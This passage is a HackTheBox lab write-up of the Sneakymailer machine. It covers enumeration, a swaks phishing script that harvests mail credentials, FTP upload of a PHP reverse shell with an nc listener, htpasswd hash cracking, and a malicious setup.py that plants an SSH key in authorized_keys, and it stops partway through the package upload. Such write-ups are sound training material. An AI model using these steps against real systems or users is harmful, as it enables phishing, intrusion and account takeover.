Hackthebox writeup - Sneakymailer

Sat 25 July 2020

A writeup of how I approached the HTB target Sneakymailer. Hackthebox is a fun platform that lets you work on your enumeration, pentesting and hacking skills.

Getting information

Since this is a htb challenge we know the IP of the target, and our first goal is to learn as much as possible about the target.

  • -vv: Verbosity is increased 2x to allow us to see what Nmap is doing during the scan.
  • --reason: Adds a column to our map results for why Nmap classified it that port.
  • -Pn: Tells Nmap to skip the ping test and just scan our provided target since we know it's up (10.10.10.197).
  • -A: More aggressive scan including OS detection, Version detection, traceroute, script scanning.
  • --osscan-guess: Asks NMAP to guess the OS version if no perfect match found.
  • --version-all: Tries all version probs for every port.
  • -p-: Scan ports 1 - 65535.

PS: db_nmap can take alle the normal nmap options and parameters.

msf5 > db_nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.10.10.197
... a lot of waiting and output here ...
msf5 > services 10.10.10.197
Services
========

host          port   proto  name           state     info
----          ----   -----  ----           -----     ----
10.10.10.197  21     tcp    ftp            open      vsftpd 3.0.3
10.10.10.197  22     tcp    ssh            open      OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0
10.10.10.197  25     tcp    smtp           open      Postfix smtpd
10.10.10.197  80     tcp    http           open      nginx 1.14.2
10.10.10.197  143    tcp    imap           open      Courier Imapd released 2018
10.10.10.197  665    tcp    sun-dr         filtered  
10.10.10.197  993    tcp    ssl/imap       open      Courier Imapd released 2018
10.10.10.197  1584   tcp    tn-tl-fd2      filtered  
10.10.10.197  1858   tcp    privateark     filtered  
10.10.10.197  2235   tcp    sercomm-wlink  filtered  
10.10.10.197  2238   tcp    aviva-sna      filtered  
10.10.10.197  2324   tcp    cosmocall      filtered  
10.10.10.197  3411   tcp    biolink-auth   filtered  
10.10.10.197  4576   tcp                   filtered  
10.10.10.197  6791   tcp    hnm            filtered  
10.10.10.197  8080   tcp    http           open      nginx 1.14.2
10.10.10.197  8498   tcp                   filtered  
10.10.10.197  10728  tcp                   filtered  
10.10.10.197  15160  tcp                   filtered  
10.10.10.197  16219  tcp                   filtered  
10.10.10.197  16353  tcp                   filtered  
10.10.10.197  18337  tcp    unknown        filtered  
10.10.10.197  20438  tcp                   filtered  
10.10.10.197  21649  tcp                   filtered  
10.10.10.197  22784  tcp                   filtered  
10.10.10.197  33137  tcp                   filtered  
10.10.10.197  37513  tcp                   filtered  
10.10.10.197  38045  tcp                   filtered  
10.10.10.197  38423  tcp                   filtered  
10.10.10.197  40765  tcp                   filtered  
10.10.10.197  42117  tcp                   filtered  
10.10.10.197  43762  tcp                   filtered  
10.10.10.197  48913  tcp                   filtered  
10.10.10.197  52414  tcp                   filtered  
10.10.10.197  52480  tcp                   filtered  
10.10.10.197  56113  tcp                   filtered  
10.10.10.197  57074  tcp                   filtered  
10.10.10.197  58066  tcp                   filtered  
10.10.10.197  59864  tcp                   filtered  
10.10.10.197  60845  tcp                   filtered  
10.10.10.197  61072  tcp                   filtered

msf5 >

Alot of interesting ports here. 80, 8080, 25, 143 and 21 (web, mail and ftp).

Searching for hidden URLs

My goto tool for searching hidden URLs are nikto and dirb. Lets run them.

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ nikto -Cgidirs all -host 10.10.10.197
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.197
+ Target Hostname:    10.10.10.197
+ Target Port:        80
+ Start Time:         2020-08-17 07:36:18 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://sneakycorp.htb
+ 26470 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2020-08-17 07:59:15 (GMT2) (1377 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Looking at the result of the nmap scan we also see that there is a webserver running on port 8080.

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ nikto -Cgidirs all -host 10.10.10.197:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.197
+ Target Hostname:    10.10.10.197
+ Target Port:        8080
+ Start Time:         2020-08-17 07:32:39 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ 26472 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2020-08-17 07:55:50 (GMT2) (1391 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$

If we actually try to open the website at port 8080 in a browser we will get:

and if we try to open the website at port 80 in a browser we will get:

I wrote the same address in the addressbar 10.10.10.197, but we see that the request on port 80 is forwarded to the address http://sneakycorp.htb/ before it gives a 404.

Now we need to alter our /etc/hosts file so that we can browse the sneakycorp.htb site from our browser.

root@kali:~# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali.localdomain        kali
10.10.10.197 sneakycorp.htb
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

With this small addition to our /etc/hosts file we can load the webpage by name, instead of ip-address:

Which is a completely different website.

PS. You migh have spotted the redirect as early as in the results from our nikti scan on port 80.

Maybe there is a webpage we have not found yet? Lets try to scan for subdomains, which we have not done yet.

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.sneakycorp.htb" -u "http://sneakycorp.htb" --hc 301

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://sneakycorp.htb/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                     
===================================================================

000000019:   200        340 L    989 W    13737 Ch    "dev"

Total time: 24.23067
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 206.2261

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$

Interesting... There is a dev.sneakycorp.htb webpage. Lets edit our */etc/hosts/ file once more and load the webpage in our browser.

root@kali:/var/www/html# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali.localdomain        kali
10.10.10.197 sneakycorp.htb
10.10.10.197 dev.sneakycorp.htb
10.10.10.197 sneakymailer.htb
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

With this new knowledge, lets do the standard scans:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ dirb http://dev.sneakycorp.htb /usr/share/dirb/wordlists/big.txt -X .txt,.php,,

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Sep 17 08:26:03 2020
URL_BASE: http://dev.sneakycorp.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.txt,.php,,) | (.txt)(.php)() [NUM = 3]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://dev.sneakycorp.htb/ ----
==> DIRECTORY: http://dev.sneakycorp.htb/css/                                                                                                                                                               
==> DIRECTORY: http://dev.sneakycorp.htb/img/                                                                                                                                                               
+ http://dev.sneakycorp.htb/index.php (CODE:200|SIZE:13742)                                                                                                                                                 
==> DIRECTORY: http://dev.sneakycorp.htb/js/                                                                                                                                                                
+ http://dev.sneakycorp.htb/team.php (CODE:200|SIZE:26523)                                                                                                                                                  
==> DIRECTORY: http://dev.sneakycorp.htb/vendor/

---- Entering directory: http://dev.sneakycorp.htb/css/ ----

---- Entering directory: http://dev.sneakycorp.htb/img/ ----

---- Entering directory: http://dev.sneakycorp.htb/js/ ----
==> DIRECTORY: http://dev.sneakycorp.htb/js/demo/

---- Entering directory: http://dev.sneakycorp.htb/vendor/ ----
==> DIRECTORY: http://dev.sneakycorp.htb/vendor/jquery/

---- Entering directory: http://dev.sneakycorp.htb/js/demo/ ----

---- Entering directory: http://dev.sneakycorp.htb/vendor/jquery/ ----

-----------------
END_TIME: Thu Sep 17 17:04:54 2020
DOWNLOADED: 429618 - FOUND: 2

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ dirb http://dev.sneakycorp.htb/pypi /usr/share/dirb/wordlists/big.txt -X .txt,.php,,

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Sep 17 18:03:39 2020
URL_BASE: http://dev.sneakycorp.htb/pypi/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.txt,.php,,) | (.txt)(.php)() [NUM = 3]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://dev.sneakycorp.htb/pypi/ ----
+ http://dev.sneakycorp.htb/pypi/register.php (CODE:200|SIZE:3115)

-----------------
END_TIME: Thu Sep 17 19:01:22 2020
DOWNLOADED: 61374 - FOUND: 1
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$

Nothing new, but we had to do it just to be sure, right?

Mailserver enumeration

Given the name of the box we assume that we are going to attack some of the mail-services that are running.

Lets try to connect manually and see what commands postfix smtpd supports:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ telnet 10.10.10.197 25
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
EHLO
EHLO 10.10.10220 debian ESMTP Postfix (Debian/GNU)
501 Syntax: EHLO hostname
EHLO 10.10.10.197
250-debian
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
quit
221 2.0.0 Bye
Connection closed by foreign host.
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$

and let us try to connect to the courier imapd and see what it supports:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ telnet 10.10.10.197 143
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.

The first thing we want to do is to enumerate users, here with a manual example:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ telnet 10.10.10.197 25
Trying 10.10.10.197...
Connected to 10.10.10.197.
Escape character is '^]'.
220 debian ESMTP Postfix (Debian/GNU)
VRFY roo
550 5.1.1 <roo>: Recipient address rejected: User unknown in local recipient table
vrfy root
252 2.0.0 root

Lets automate the task with the metasploit built-in scanner:

msf5 > use auxiliary/scanner/smtp/smtp_enum 
msf5 auxiliary(scanner/smtp/smtp_enum) > options

Module options (auxiliary/scanner/smtp/smtp_enum):

   Name       Current Setting                                                Required  Description
   ----       ---------------                                                --------  -----------
   RHOSTS                                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      25                                                             yes       The target port (TCP)
   THREADS    1                                                              yes       The number of concurrent threads (max one per host)
   UNIXONLY   true                                                           yes       Skip Microsoft bannered servers when testing unix users
   USER_FILE  /usr/share/metasploit-framework/data/wordlists/unix_users.txt  yes       The file that contains a list of probable users accounts.

msf5 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.10.197
RHOSTS => 10.10.10.197
msf5 auxiliary(scanner/smtp/smtp_enum) > run
[*] 10.10.10.197:25       - 10.10.10.197:25 Banner: 220 debian ESMTP Postfix (Debian/GNU)
[+] 10.10.10.197:25       - 10.10.10.197:25 Users found: , _apt, avahi-autoipd, backup, bin, daemon, ftp, games, gnats, irc, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, systemd-coredump, systemd-network, systemd-resolve, systemd-timesync, uucp, www-data
[*] 10.10.10.197:25       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smtp/smtp_enum) >

There is also another tool smtp-user-enum we can use:

sneakymailer@kali:~$ smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.10.10.197                                                                                                   
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------                                                                                                                                                  
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/metasploit/unix_users.txt
Target count ............. 1
Username count ........... 168
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Thu Sep 10 08:33:46 2020 #########
######## Scan completed at Thu Sep 10 08:36:36 2020 #########
0 results.

168 queries in 170 seconds (1.0 queries / sec)

This did not give us any interesting result. Wish we had some list of users we could try, instead of guessing randomly?

Gather all of the email-names (without domain) and put in a file:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ smtp-user-enum -M VRFY -D sneakymailer.htb -U maillist.txt -t 10.10.10.197  
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------                                                                                                                                                  
|                   Scan Information                       |                                                                                                                                                 
 ----------------------------------------------------------

Mode ..................... VRFY                                                                                                                                                                              
Worker Processes ......... 5                                                                                                                                                                                 
Usernames file ........... maillist.txt                                                                                                                                                                      
Target count ............. 1                                                                                                                                                                                 
Username count ........... 58                                                                                                                                                                                
Target TCP port .......... 25                                                                                                                                                                                
Query timeout ............ 5 secs                                                                                                                                                                            
Target domain ............ sneakymailer.htb

######## Scan started at Fri Sep 11 18:43:07 2020 #########
######## Scan completed at Fri Sep 11 18:44:07 2020 #########
0 results.

58 queries in 60 seconds (1.0 queries / sec)
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$

You can read the whole documentation for the script here: https://pentestlab.blog/2012/11/20/smtp-user-enumeration/

Despite numerous attempt banging around with smtp-user-enum, it did not get me anything useful so I had to switch tool.

Mailserver enumeration, take two

I have a gutfeeling that one (or more) of the users in my maillist.txt is alive, and probably is autoresponding if he get the correct mail.

Q: What is the concept in phishing? A: Send a e-mail to numerous people with a link that they should click.

So, to get a clickable link I decide to setup a webserver on my attacking host:

root@kali:~# apt-get install apache2
root@kali:~# apachectl start

If someone visit my site I will see it in my access.log:

root@kali:~# tail -f /var/log/apache2/access.log

Now with the webserver ready, let create a script that send our phishing mails:

while read p; do
  swaks --to $p@sneakymailer.htb --from root@sneakymailer.htb --server sneakymailer.htb --header "Subject: Test subject" --body "<!DOCTYPE html><html><body><h1>HTML Links</h1><p><a href='http://10.10.14.9/$p'>Visit W3Schools.com!</a></p></body></html>"
done < maillist.txt

What I try to do with this script is to get the receiver to load a page from my webserver (i.e clicking a link in the e-mail).

Run the script:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ ./email_script.sh
...
=== Trying sneakymailer.htb:25...
=== Connected to sneakymailer.htb.
<-  220 debian ESMTP Postfix (Debian/GNU)
 -> EHLO kali.localdomain
<-  250-debian
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<root@sneakymailer.htb>
<-  250 2.1.0 Ok
 -> RCPT TO:<paulbyrd@sneakymailer.htb>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Mon, 14 Sep 2020 08:13:52 +0200
 -> To: paulbyrd@sneakymailer.htb
 -> From: root@sneakymailer.htb
 -> Subject: Test subject
 -> Message-Id: <20200914081352.041946@kali.localdomain>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> <!DOCTYPE html><html><body><h1>HTML Links</h1><p><a href='http://10.10.14.9/paulbyrd'>Visit W3Schools.com!</a></p></body></html>
 -> 
 -> 
 -> .
<-  250 2.0.0 Ok: queued as 1E129248ED
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.
...
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$

I need to know which user is 'clicking' the e-mail, so I add the users e-mail to the end of the URL. I know that it will result in an 404 page-not-found error, but that is ok as long as Im able to detect it in my log files.

root@kali:~# tail -f /var/log/apache2/access.log | grep 404
10.10.14.9 - - [14/Sep/2020:07:47:00 +0200] "GET /favicon.ico HTTP/1.1" 404 488 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.10.14.9 - - [14/Sep/2020:08:02:59 +0200] "GET /kr HTTP/1.1" 404 489 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.10.10.197 - - [14/Sep/2020:08:10:42 +0200] "POST /paulbyrd'%3EVisit%20W3Schools.com!%3C/a%3E%3C/p%3E%3C/body%3E%3C/html%3E HTTP/1.1" 404 489 "-" "python-requests/2.23.0"

As we can see we got a connection from 10.10.10.197, trying to lookup the URL: /paulbyrd'%3EVisit%20W3Schools.com!%3C/a%3E%3C/p%3E%3C/body%3E%3C/html%3E. We also see that its python-requests 2.23 that is the agent, which probably is the boxcreator's automation script.

But now we have the user we should try to target further. Lookout Paul, we are coming for you!

If we see closer at the response from paulbyrd, it is a POST response, re-posting part of the mail-body that we sent him.

This has to be exploitable in some kind of way.

More information about the tool swiks can be found here: http://www.jetmore.org/john/code/swaks/

Write some phishy code

We now know that the we can trigger paulbyrd to visit a site which we control. Lets make a typical phishing site that we want him to visit.

<html>
    <body>
        <form>
          <label for="username">Username:</label><br>
          <input type="text" id="username" name="username"><br>
          <label for="password">Password:</label><br>
          <input type="text" id="password" name="password">
        </form>
    </body>
</html>

Now ask paulbyrd to visit your new site:

sneakymailer@kali:/var/www/html$ swaks --to paulbyrd@sneakymailer.htb --from root@sneakymailer.htb --server sneakymailer.htb --header "Subject: Test subject" --body '<a href="http://10.10.14.9/index.html"></a>'
=== Trying sneakymailer.htb:25...
=== Connected to sneakymailer.htb.
...
 -> To: paulbyrd@sneakymailer.htb
 -> From: root@sneakymailer.htb
 -> Subject: Test subject
 -> Message-Id: <20200915085820.047583@kali.localdomain>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> <a href="http://10.10.14.9/index.html"></a>
...
<-  250 2.0.0 Ok: queued as 8B90524663
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

And watch all your network traffic with Wireshark:

After you got the good stuff, stop your webserver for good measure:

root@kali:~# apachectl stop

Voila, we got some credentials, write it down in your loot file. It could probably be used somewhere.

paulbyrd:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Reading someones mail

I guess we should try read paulbyrds mail:

root@kali:~# apt-get install mutt
...
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ vi ~/.muttrc

Enter the following in the file ~/.muttrc:

# About Me
set from = "paulbyrd@sneakymailer.htb"
set realname = "Paul Byrd"

# My credentials
set smtp_url = "smtp://paulbyrd@10.10.10.197:25"
set smtp_pass = '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'
set imap_user = "paulbyrd"
set imap_pass = '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'

# My mailboxes
set folder = "imap://10.10.10.197:143"
set spoolfile = "+INBOX"

NB I have not tested the smtp part of this configuration, I only want to read the e-mail at this point.

Start mutt (you might need to accept a encryption certificate) and take a look around. Use the key 'c' followed by a '?' to navigate through the existing IMAP-folders.

Some kind of credentials is found. Write it down in your lootfile.

Username: developer                                                                                                                                                                                          
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

PS You can of course use another email-reader, like Thunderbird or Evolution to read Paul's e-mail.

Lets try to use the credentials:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:sneakymailer): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

We now know that the credentials are good, let just try to retrieve everything we can for local use:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer/ftpstuff$ wget -r --user="developer" --password="m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C" ftp://10.10.10.197/
...
10.10.10.197/dev/vendor/jquery-easing/jquery.easing 100%[================================================================================================================>]   3,95K  --.-KB/s     0s

2020-09-24 08:45:26 (119 MB/s) - «10.10.10.197/dev/vendor/jquery-easing/jquery.easing.js» lagret [4047]

--2020-09-24 08:45:26--  ftp://10.10.10.197/dev/vendor/jquery-easing/jquery.easing.min.js
           => «10.10.10.197/dev/vendor/jquery-easing/jquery.easing.min.js»
==> CWD kreves ikke.
==> PASV ... ferdig.    ==> RETR jquery.easing.min.js ... ferdig.
Lengde: 2532 (2,5K)

10.10.10.197/dev/vendor/jquery-easing/jquery.easing 100%[================================================================================================================>]   2,47K  --.-KB/s     0s

2020-09-24 08:45:26 (191 MB/s) - «10.10.10.197/dev/vendor/jquery-easing/jquery.easing.min.js» lagret [2532]

FERDIG --2020-09-24 08:45:26--
Totalt medgått tid: 1m 59s
Lastet ned: 193 filer, 15M  44s (358 KB/s)
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer/ftpstuff$

Ok. We now have a lot of stuff to peek through.

Before we proceed I just want to give a few advice to get working with FTP easier:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ echo "machine 10.10.10.197 login developer password m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C" > ~/.netrc
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ chmod 600 ~/.netrc
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ sudo apt-get install wput
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ wput reverse/todo.php ftp://10.10.10.197/dev/todo.php

We now want to try establish a remote shell, I choose the one found at: http://pentestmonkey.net/tools/web-shells/php-reverse-shell.

Edit the file as described on the owners webpage. I named mine todo.php and uploaded it to the ftp -> dev/todo.php.

Start your netcat listener:

 nc -lvnp 8001

Visit your reverse-shell in a webbrowser: http://dev.sneakycorp.htb/todo.php , and watch your netcat listener:

listening on [any] 8001 ...
listening on [any] 8001 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.197] 59510
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 03:10:06 up  2:02,  0 users,  load average: 0.06, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Voila we are in! Upgrade your shell:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@sneakymailer:/$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
developer@sneakymailer:/$

Enumerate:

developer@sneakymailer:/$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 May 14 17:10 .
drwxr-xr-x 18 root  root  4096 May 14 05:30 ..
drwxr-xr-x  8 low   low   4096 Jun  8 03:47 low
drwx------  5 vmail vmail 4096 May 19 21:10 vmail

developer@sneakymailer:/$ netstat -lntu
netstat -lntu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN     
tcp6       0      0 :::21                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::25                   :::*                    LISTEN     
tcp6       0      0 :::993                  :::*                    LISTEN     
tcp6       0      0 :::143                  :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::8080                 :::*                    LISTEN

developer@sneakymailer:/$ cat /var/www/pypi.sneakycorp.htb/.htpasswd
cat /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

We found a username low (which might be a later target), a port 5000 which is only reachable from the inside (which is why it did not show on our initial nmap scanning) and a .htpasswd with a hash in it!

Lets put the hash in a separate file and feed it to hashcat:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ echo "$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/" > pypi_passhash.txt
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ hashcat -m 1600 pypi_passhash rockyou.txt
...
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Thu Sep 24 23:03:32 2020 (13 mins, 27 secs)
Time.Estimated...: Thu Sep 24 23:16:59 2020 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     4188 H/s (14.72ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3614080/14344377 (25.20%)
Rejected.........: 0/3614080 (0.00%)
Restore.Point....: 3613952/14344377 (25.19%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: souhern4u -> soufboy190

Started: Thu Sep 24 23:03:29 2020
Stopped: Thu Sep 24 23:17:00 2020
sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$

Remember this?

Combined with a user pypi and a folder pypi.sneakycorp.htb I think we have to read up on what pypi is: https://www.linode.com/docs/applications/project-management/how-to-create-a-private-python-package-repository/

The short version is that pypi a packagemanager for python packages. The sneakymailer box does run a pypi server on port 5000, and if you have the password you can upload stuff to it.

developer@sneakymailer:~$ ps aux | grep pypi
ps aux | grep pypi
pypi       675  0.0  0.6  36808 25700 ?        Ss   01:14   0:03 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages
develop+  4067  0.0  0.0   6408   880 pts/1    S+   02:19   0:00 grep pypi
developer@sneakymailer:~$ cd /home/low/venv/bin$

developer@sneakymailer:/home/low/venv/bin$ curl 127.0.0.1:5000
curl 127.0.0.1:5000
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Welcome to pypiserver!</title>
  </head>
  <body>
    <h1>
      Welcome to pypiserver!
    </h1>
    <p>
      This is a PyPI compatible package index serving 0 packages.
    </p>
    <p>
      To use this server with <code>pip</code>, run the following command:
      <pre>
        <code>pip install --index-url http://127.0.0.1:5000/simple/ PACKAGE [PACKAGE2...]</code>
      </pre>
    </p>
    <p>
      To use this server with <code>easy_install</code>, run the following command:
      <pre>
        <code>easy_install --index-url http://127.0.0.1:5000/simple/ PACKAGE [PACKAGE2...]</code>
      </pre>
    </p>
    <p>
      The complete list of all packages can be found <a href="/packages/">here</a> or via the <a href="/simple/">simple</a> index.
    </p>
    <p>
      This instance is running version 1.3.2 of the <a href="https://pypi.org/project/pypiserver/">pypiserver</a> software.
    </p>
  </body>
</html>

Create, upload and install a python package to a private pypi repository

We now have to create a package and upload it. Here is the files that I have used:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer/sneakypip$ tree
.
├── pypirc
├── README.md
├── setup.cfg
├── setup.py
├── sneakypip
│   └── __init__.py

... content of the file pypirc:

[distutils]
index-servers =
    sneakypip
[sneakypip]
repository: http://127.0.0.1:5000
username: pypi
password: soufianeelhaoui

... content of the file README.md:

## Sneakymailer

A sneaky package...

... content of the file setup.cfg:

[metadata]
description-file = README.md

... content of the file setup.py:

   from setuptools import setup

try:
    with open ('/home/low/.ssh/authorized_keys','a') as f:
        f.write('ssh-rsa AAA...NgQ== sneakymailer@kali')
        f.close()
except:
    setup(
    name='sneakypip',
    packages=['sneakypip'],
    description='A Sneaky package',
    version='0.1',
    url='http://pypi.sneakycorp.htb',
    author='Sneakycorp',
    author_email='paul@sneakymailer.htb',
    keywords=['pip','sneakymailer','htb']
    )

... content of the file init.py:


When you have created the files and folders you can upload it to the sneakymailer server:

sneakymailer@kali:/mnt/hgfs/kali_share/sneakymailer$ wput sneakypip/ ftp://10.10.10.197/dev/

After it is uploaded we have to do several steps to prepare our package and environment:

developer@sneakymailer:~/dev$ export HOME=/tmp/developer
developer@sneakymailer:~/dev$ mkdir /tmp/developer

developer@sneakymailer:~/dev$ chmod -R 777 sneakypip
developer@sneakymailer:~/dev$ mv sneakypip /tmp/sneakypip

developer@sneakymailer:~/dev$ cd /tmp

developer@sneakymailer:/tmp$ cp sneakypip/pypirc developer/.pypirc
developer@sneakymailer:/tmp$ cd sneakypip

